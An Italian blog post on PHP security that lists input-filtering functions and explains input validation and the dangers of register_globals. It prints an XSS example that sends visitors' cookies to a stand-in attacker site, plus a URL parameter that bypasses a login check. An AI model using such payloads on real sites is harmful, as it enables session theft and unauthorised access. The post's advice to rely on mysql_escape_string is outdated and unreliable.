Articles

La sicurezza in PHP – parte seconda [Filtro dati e register globals]

In sicurezza on aprile 22, 2010 by poyblog Messo il tag: , ,

Molte volte i concetti di sicurezza sono da considerarsi generali e quindi validi per più linguaggi di programmazione.

Il caso del controllo dati immessi dall’utente finale è forse uno di quei passaggi necessari ed obbligatori per ogni linguaggio di programmazione affinché una porzione di codice o un intero applicativo si possano considerare perlomeno attendibili.

Come avevamo già specificato per il linguaggio Javascript anche per PHP i concetti da seguire sono i medesimi.

In particolare tutti i dati provenienti da variabili $_POST, $_GET o $_COOKIE sono da considerarsi insicuri e quindi prima di essere processati devono essere esaminati e controllati con cura.

Il linguaggio fornisce molti metodi per il controllo dati immessi, di seguito un elenco:

  • filter_has_var → controlla se una variabile di un determinato tipo esiste
  • filter_id → restituisce l’identificativo associato al nome di un filtro
  • filter_input_array → filtra un insieme di variabili date in input tramite un vettore
  • filter_input → filtra il contenuto di una variabile in input
  • filter_list → restituisce una lista di tutti i filtri supportati
  • filter_var_array → filtra un insieme di variabili specificate tramite un vettore
  • filter_var → filtra il contenuto di una variabile
  • htmlentities → converte una stringa in entità HTML
  • htmlspecialchars → converte i caratteri speciali di una stringa in entità HTML
  • urlencode → converte una stringa perchè possa essere utilizzata come indirizzo URL
  • *_escape_string → insieme di funzioni specifiche per l’escaping di una stringa in base alla destinazione d’uso (*)
    • Per esempio mysql_escape_string permette di formattare correttamente una stringa contente codice SQL. Può essere utilizzato per evitare attacchi di tipo SQL Injection.

Maggiori dettagli rispetto alle funzioni di controllo dati input possono trovarsi sul sito ufficiale del linguaggio PHP http://www.php.net

Vediamo ora un esempio su come sfruttare il controllo dati input per bloccare delle minacce.

Supponiamo di avere una form di inserimento dati ed un campo textarea. Cosa accadrebbe se un utente in questa textarea inserisse tale codice:

<script>

document.localtion =”http://tiruboilcookie.org/getcookies.php?cokkies=” + document.cookie;

</script>

Tutti coloro che visualizzeranno tale documento invieranno il loro cookie allo script getcookies del sito tiruboilcookie.org il cui intento è direi abbastanza esplicito.

Un semplice filtro sui dati immessi nella textarea potrebbe facilmente evitare questi attacchi

In PHP è possibile attivare l’opzione register_globals nel file di configurazione generale. Tale opzione permette di impostare le variabili provenienti da querystring, form e sessioni come variabili globali.

Questo atteggiamento può essere molto pericoloso dato che permette ad un attaccante di modificare qualsiasi variabile dello script PHP.

Supponiamo che esista una procedura di controllo della avvenuta autenticazione di questo tipo:

if (controlloLogin()){

$loggato = 1;

}

if ($loggato){

// eseguo tutte le operazioni come utente abilitato

}

Con l’opzione register_globals attivata un attaccante potrebbe acquisire i privilegi di utente autenticato semplicemente inserendo una variabile nella url in questo modo:

login.php?loggato=1

Dalla versione 4.2 di PHP tale funzione è disabilitata di norma, ma comunque vale sempre la pena controllare che non sia attiva su siti in produzione.

Lascia un commento